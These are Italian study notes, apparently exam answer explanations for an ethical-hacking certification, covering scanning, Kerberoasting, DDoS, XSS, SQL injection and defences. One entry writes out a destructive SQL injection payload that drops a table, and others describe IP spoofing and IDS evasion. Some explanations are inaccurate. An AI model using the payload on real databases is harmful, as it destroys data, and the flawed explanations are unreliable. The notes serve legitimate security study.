Si utilizza l encoding per convertire l'esadecimanle e decimale in caratteri che passano nel motore SQL, questo e effettivamente un SQL Injection evasion techinique per sfuggire a gli IDS signature based se si cambia il formato della query senza cambiare la sua logica

- **NTLM password hash**

Cambiare l hash dell NTLM usando l ST rendera invalido il TIcken granting service ticket rubato e previene che l attaccante lo utilizzi anche quando lo cracchera

- **DNS tunneling**

Comunicazione per i C2C server che permette agli attaccanti di nascondere traffico malevolo, difficile da rilevare e da bloccare

- **Service ticket**

Richiedere un ticket di servizio per i servizi principali del target account e il prossimo step per un attacco Kerberoasting dopo aver ottenuto un ticket TGT, permette all analista di mirare ad un account di servizio per compromettere una password

- **Internet service provider (ISP)**

Contattare l ISP per assistenza, cosi possono darti supporto e implementare un filtraggio del trafico per mitigare il DDoS attack.

- **f=490**

Il server puo gestire 490 pacchetti SYN al secondo. Con ‘s’ eccede ‘f’ di 10, la risposta e 2 alla 10=1024 volte il normale tempo di risposta, che indica un sistem overload

- **‘use_ssl = True**

Questo durante la creazione di oggetti server, e necessario per stabilira una connessione con il server LDAP che accetta solo connessioni sicure

- **sophisticated XSS payload**

Questo puo permettere all’HTML encoding di bypassare la sanificazione dell’input puo usato per redigere lo user a un sito malevolo dove vengono catturati i cookie, cosi da evadere il HTTPonly flag accedendo direttamente ai cookie

- **Default settings**

Questo rivela il tipo di software del server, cambiare queste impostazione per l attaccante e utile per sfruttare vulnerabilita

- **cybersecurity awarness training**

Assicurare che i dipendenti siano formati per le minacce ed il phishing dato che la policy applicata e quella del Bring your own device

- **Unauthorized users**

Questi eseguono privilege escalation utilizzando credenziali inutili, con la misconfigurazione si danno privilegi di amministratore a utenti sconosciuti.

- **Pulse Wave attack**

Invia un grosso volume di traffico dato da intervalli regolari ed esaurisce le risorse di rete ed e resistente a piccole misure di sicurezza come IP-based-blocking

- **client side encryption**

maneggiare in autonomia le chiavi permette di non lasciare ai cloud provider di avere accesso a queste e quindi non poter decifrare i messaggi, e anche mettere in sicurezza i dati contro l accesso non autorizzato al CSP

- **YARA rules**

Scrivere queste regole per identificare in qualita ottima i falsi positivi p;uo aiutare ai IDS ad identificare le attuali minacce con i file legittimi, riducendo i falsi positivi senza avere una compromissione

- **Ping of Death**

Quando il sistema crasha per il troppo traffico dovuto a pacchetti di dimensioni eccessive, questo include inviare pacchetti malformati

- **Network segmentation**

Permette di separare i dispositivi IoT dal resto della rete cosi da non compromettere l intera rete in caso di attacco

- **Vulnerability assessment**

Puo aiutare a identificare le vulnerabilita di sicurezza sopratutto quando si parla di device IoT

- **LM hash are disabled**

In Windows Vista e versioni successive, LMhash e disabilitato di default, dato che questi sistemi non memorizzano piu questo hash per garantire sicurezza, risulta bianco il record nel SAM file.

- **principle of least privilige**

Un modello di Zero Trust opera con il minimo privilegio, verificando ogni richiesta che viene da risorse non verificate, indipendente dalla localizzazione, prevede

uno stretto accesso di controllo verso i sistemi cloud.

- **Side-Channel Attack**

Questo sfrutta le vulnerabilita hardware per indurre una predizione errata dell'istruzione sui processori e usa l effetto collaterale per indurre dati.

- **Server configuration audits**

Fare degli audit regolari aiuta a vedere le potenziali misconfigurazioni come attacchi di vulnerabilita verso i webserver.

- **Rogue access point**

Una funzionalita dell app mobile dovrebbe prevenire la comunicazione sui una rete che rileva un rogue access point, protegge anche dal man in the middle attacck condotto tramite rogue Wifi hotspot.

- **ARP Ping scan**

Funziona con il LAN per scoprire host, bypassando i firewall che forse lo bloccano con altri tipi di ping come ICMP o TCP

- **yarGen**

genera YARA rules da stringhe identificate nei file malware rimuovendo la stringa che sembra buona dal file, da usare anche insieme a Snort per migliorare il rilevamento degli IDS per i malware e minimizza i falsi positivi

- **Initial exploitation methods**

Analizzare questa fase e la parte piu cruciale per un analisi iniziale, capire come sono entrati aiuta a capire che tipi di vulnerabilita e previene attacchi simili in futuro.

- **Script Kiddies**

Compromettono i sistemi utilizzando script gia fatti o creati a pattern, persone che non hanno le skill e che utilizzano tool avanzati

- **brute force attack**

Implementare il brute force per verificare se il sistema e vulnerabile non aiuta a capire se ci sono honeypot.

- **802.1X authentication**

e un framework robusto per il controllo degli accessi ad una rete, assicuira che ogni utente e autenticato, e riduce il rischio di utenti non autorizzati dovuto a credenziali condivise.

- **Encrypting data**

Cifrare i dati prima di pubblicarli sul cloud e avere il controllo sulle chiavi di cifratura assicura che il client ha il completo controllo, in linea con i requisiti richiesti.

- **Shoulder surfing**

Richiede una prossimita fisica e non e correlato alla raccolta di dati dell infrastruttura.

- **WPA2 e WPA3 encryption**

provvede a dare una forte sicurezza per i dati trasmessi sulla rete.

- **minimaze the attack surface**

Servizi inutili possono contenere vulnerabilita, Bisogna sempre minimizzare la superficie di attacco, e come prima cosa eliminare i servizi inutile riduce il rischio di potenziali punti di entrata, assicurando una buona sicurezza per i web server.

- **updating and patching**

aggiornare i server in maniera regolare assicura sicurezza, levando ogni forma di vulnerabilita del server verso attacchi.

- **networking scanning and monitoring tools**

Implementare uno scanning e motoring tool di rete aiuta a trovare chi ascolta, ed aiuta a mitigare attacchi.

- **Diffiie-Hellman**

aiuta ad assicurare lo scambio di chiavi tra due parti su un canale di comunicazione non sicuro, rendendolo perfetto per gestire e distribuire chiavi simmetriche

- **Blind injection**

E una tecnica che permette di usare il ritardo o messaggi di errore per estrarre informazioni sul database, semplicemente osservando come si comporta

inserendo diversi input nell applicazione.

- **the -a option**

Hping3 usa il -a per spoofare il source ip, permettendo l attaccante a condurre lo scan e mantenendo l anonimita

- **comprehensive approach**

Usare hping3 per ICMP ping scan, NMAP per SYN e metaploit per sfruttare vulnerabilita, e uno dei migliori approcci per scoprire host live e sfruttare vulnerabilita

- **Error-based SQL injection**

messaggi di errore come “Incorrect Syntax near..” e “Unclosed quotation mark after the character string..” sono esempio di error based

- **comprehensive training sessions**

Aiuta ai dipendenti a prevenire attaccchi di social engineer e il rischio associato ad esso, incluso anche il training per non rivelare dati confidenziali anche tramite chiamate.

- **utilize a script**

Per confermare se una vulnerabilita cross site scripting e presente si utilizza uno script da utilizzare nel dominio dell’applicazione per testare i form per vedere se si bypassa il CSP (content security policy)

- **string concatenation**

Questa tecnica altera la struttura dell SQL e una via che puo evadere i signature based.

- **anomalies in file movements**

Investigare sulle anomalie dei file e sugli accessi non autorizzati verso il tuo database, dato che APT spesso descrive data breach e attivita di rete inusuali, rende l investigazione cruciale per confermare e investigare su queste minacce.

- **Cloud access security broker (CASB)**

Implementare un CASB prevede monitorare le risorse cloud, real time detection, e assicurare consistenza nella policy di sicurezza

- **eMailTrackerPro**

Tool per tracciare la fonte e il percorso dell'email, incluso il tempo per leggere l'email, geolocalizzazione, tipo di device, ma non per identificare o elencare tutti gli account ad un dominio specifico

- **external medium**

Conservare un potenziale programma su un dispositivo esterno, come un CD-ROM, prima dell'analisi, per evitare di trasferire direttamente sul sistema isolato e mantenere la sicurezza per la produzione

- **fix all identified vulnerabilities**

Un'organizzazione è responsabile se non risolve tutte le vulnerabilità identificate, riflettendo una lacuna nel proprio approccio alla sicurezza informatica che privilegia le risorse limitate rispetto alla gestione di tutti i rischi noti.

- **Wifi password**

Se la password del wifi e molto complessa e lunga e difficile da craccare perche incrementa il tempo e la forza computazione per il successo di un brute force attack

- **Encrypting data**

Cifrare i dati lato client prima di caricarli verso un ambiente SaaS e gestire le chiavi indipendentemente assicura di rimanere privati ed inaccessibili verso il cloud provider e entita non autorizzate.

- **FIN or RST packet**

Inviare pacchetti FIN o RST per chiudere le connessioni prima che sia successivamente aperte e essenziale per terminare propriamente le connessioni stabilite.

- **WPA2-PSK con AES encryption**

prevede una cifratura molto piu sicura e moderna rispetto al WEP, per mettere al sicuro la rete wireless dell'azienda.

- **z=600, u=2**

L attaccante divide 2 SQL payload, ad ognuno da una tabella di 600 record, infettando tutte le colonne e tutte le tabelle, risultando come il maggior volume di

data estratto per la formula ‘E=xyz*u’

- **std**

dnsrecon -t std fa un enumerazione standard di uno specifico range di ip, che include DNS reverse lookup, nameserver, MX record, queires, e anche informazioni sul dominio

- **UDP traceroute**

Usare UDP traceroute nel sistema operativo linux permette di tracciare i percorsi pacchetti senza usare ICMP, che viene spesso bloccato dal firewall

- **TCP SYN Ping scan**

puo bypassare le restrizione TCP inviando pacchetti SYN e analizzando la risposta, che aiuta a scoprire gli host live con un impostazione robusta

- **Verify the sender’s identity**

Verificare l’identita del sender prima di aprire file nelle messaggistiche istantanee previene che un file malevolo venga aperto ed eseguito

- **IPsec**

Implementare questo insieme al SSL/TLS assicura l’integrita dei dati e assciura che non avvenga nessuna manomissione durante la trasmissione

- **inference-based assessment**

simula un attacco, usa scan automatici con database aggiornati, e li adatta a reti multiple, allineato con i requiisiti delle grandi organizzazioni

- **User-directed spidering**

Si usa con i tool Burp Suite e WebScarab che permette il controllo manuale sul web crawling, cosi da permettere di nascondere ed esplorare elementi dei siti che invece li web spider automatici non rileverebbero per le restrizioni

- **Defense-In-Depth strategy**

Stabilisce strategie incorporate in piu strati di sicurezza, aumentando la complessita e facendo decrescere la probabilita che un attacco ha successo. Quindi applica strati di difesa verso vari tipi di vulnerabilita ed attacchi.

- **Regulary scanning system**

farlo per ogni nuovo file ed esaminarli aiuta in un fase di rilevazione iniziale a rimuovere file sospetti e allegati, effettivamente riducendo il rischio di installare il malware da email sospetta

- **suppress detailed error messages**

sopprimere sempre i messaggi di sicurezza perche espongono informazioni sensibili sul server, rendendolo vulnerabile agli attaccanti.

- **Maimon Scan**

e simile allo scan che usa NULL, FIN e XMAS scan ma usa FIN/ACK rendendolo piu difficile da rilevare dai device di rilevazione che sono settati per identificare le flag con il SYN scan.

- **Test 1**

Test 1: A TCP packet con il SYN e ECN-Echo flag attivi sono inviati ad una porta TCP aperta.

- **h=1987 (prime)**

La frequenza del pacchetto eccede la capacita del server, causa una potenziale non risposta di rispondere al pacchetto da parte del server, dato che l abilita del server di rispondere al pacchetto (h che sta per handle) e minore della frequenza con cui e stato inviato (r), per portare un rischio di fallimento del server

- **IDLE/IPID header scan**

questo tipo di scan con il comando “-sl” permette agli attaccanti di fare uno stealth scan senza rivelare il proprio IP

- **p=175, q=250**

  La misura della chiave ‘n’ viene aggiustata in base all’aumentare di entrambe ‘p’ e ‘q’, cosi aumenta la complessita per l attaccante di decifrare, piu e grande ‘n’ piu richiede forza computazionale per decifrare, richiede solo l algoritmo Shor dei computer quantici

- **are open**

Le porte sulla rete del target sono aperte se il numero del IPID e aumentato di due dopo un IDLE scan

- **establish a foothold**

E il prossimo passo logico della cyber kill chain seguito dal “Delivery” stage, dove l attaccante rilascia il payload per compromettere il sistema viene usato anche per compromettere l’organizzazione.

- **Connecting the system**

Connettere il sistema ad una nete di produzione prima di fare un analisi malware e una cosa da evitare.

- **‘OR’ a’=’a; DROP TABLE members; —**

Questo payload manipola la clausola WHERE con un azione distruttiva, causando perdita di dati, che causa la perdita perenne di dati dal database.

- **snmp-check**

permette di raccogliere informazioni sul target, questo tool e stato fatto specificamente per SNMP enumeration e puo estrarre dettagli della rete senza modificare paramentri nell agent MIB.

- **Passive foortprinting followed Active footprinting**

riduce le chance di rilevamento durante la fase iniziale di raccolta dati, prevede prima una fase di raccolta informazioni base che poi diventa piu intrusiva e rilevabile.

- **Metamorphic and Rootkit malware**

sono racchiusi nel file system per evadere la detection e cambia il suo codice per evadere al signature-based detection.

- **Qualys Vulnerable management**

Offre un ampia copertura di visibilita attraverso le piattaforma on premise e cloud, scanner continui di vulnerabilita, e real time monitoring, Utile per am,bienti IT ibridi

- **atomicity of operations**

Un’operazione è **atomica** se:

- È indivisibile,
- Non può essere interrotta da altri processi/thread,
- È garantito che venga completata *tutta* oppure *niente*.

In pratica: **o succede tutto, o non succede nulla**.

- **RST Hijacking**

E una tecnica di iniettare un pacchetto spoofato per terminare una connessione legittima, l attaccante invia un comando di reset verso una o piu parti nella connessioni attiva.

- **IDS (intrusion detection systems)**

Se si ha una rete IoT, questo puo monitorare attivita malevola, inclusi primi attacchi di DDoS e attivare le prime mitigazioni prima di un vero impatto.

- **Probing the IPC share**

Si fa facendo un brute force sulle credenziali admin direttamente sul target dove le IPC share enumerate sono il possibile punto di accesso delle vulnerabilita, il quale e un essenziale informazione per raccogliere dati sulle cartelle condivise di rete e dei servizi.

- **Insider attack**

Conosce bene le procedure interne all'azienda e i sistemi, si previene implementando un robusto accesso di controllo e monitoraggio.

- **Synthetic Identity Theft**

Consiste nella creazione di nuove identita usando una combinazione di reali e fabricate informazioni, dove l utente usa per aprire un account bancario e ricevere benefit, diverso dal rubare le identita.

- **SYN scan**

Identifica le porte aperte senza stabilire la connessione completa, inviare un RST scan dopo aver ricevuto SYN/ACK previene il completamento del 3-way handshake, rende lo scan meno rilevabile

- **location:**

l operatore per avere un informazione su una locazione specifica, utile per avere informazioni su VPN.

- **Encrypting all sensative data**

Cifrare i dati memorizzati sul dispositivo assicura che anche se il dispositivo viene compromesso le informazioni sensibili come carte di credito e Personal identification numbers (PIN) rimangono protette

- **Base metric**

Inerente alla qualita delle vulnerabilita, misura le caratteristiche fondamentali che sono costanti nel tempo in un ambiente, il fondamento per le CVSS

- **compatible with IPV6**

nbstat e usato con IPV4, ma viene usato anche con IPV6 per fare NETBIOS enumeration

- **Hardware e software misconfiguration**

e importante controllarle sempre, come tenere aggiornati i sistemi, il training dei dipendenti.

- **Thin Whois**

  queste prevede solo informazioni limitate sul dominio, come il registratario il name server, anche se si fanno query piu complesse si ottengon dati incompleti.

- **bypass the special character filter**

Un hacker cerca di bypassare lo special character filter cifrando un imput malevolo, e quindi permette di fare query SQL dannose.

- **AES key size of 256**

Questo prevede un livello alto di sicurezza, che e crucial con gli algoritmi quantici, il che mantiene un bilanciamento di performance, il tempo per generare una chiave RSA piuttosto che una chiave AES.

- **Enforicing a policy**

Rinforzare le policy che permettono di installare app da sole aziende approvate permette di abbassare il rischio che vengano installate app malevole.

- **ntptrace -n -m 5 [servername/IP_address]**

l opzione -n evita la risoluzione DNS per un risultato piu veloce, e la -m 5 limita il numero massimo di NTP server che puo tracciare, il che lo rende efficiente alla

gerarchia di connessioni NTP

- **pretexting**

quando ci si impersonifica in istituti finanziari, compagnie telefoniche, o altri business

- **Netbios session service**

sfruttare la netbios session service su porta 139 per avere accesso ai file system, cosi da ottenere info sull'azienda

- **employ intrusion detection system**

Dopo aver scoperto un keylogger, un team dovrebbe assumere un intrusion detection system e tenerlo aggiornato, cosi da rilevare i prossimi keylogger

- **Diffie-Hellman protocol**

Applicare questo protocollo per scambiare le chiavi simmetriche permette alle due parti si scambiare le chiavi in una comunicazione insicure che puo essere usato per cifrare e decifrare dati sensibili.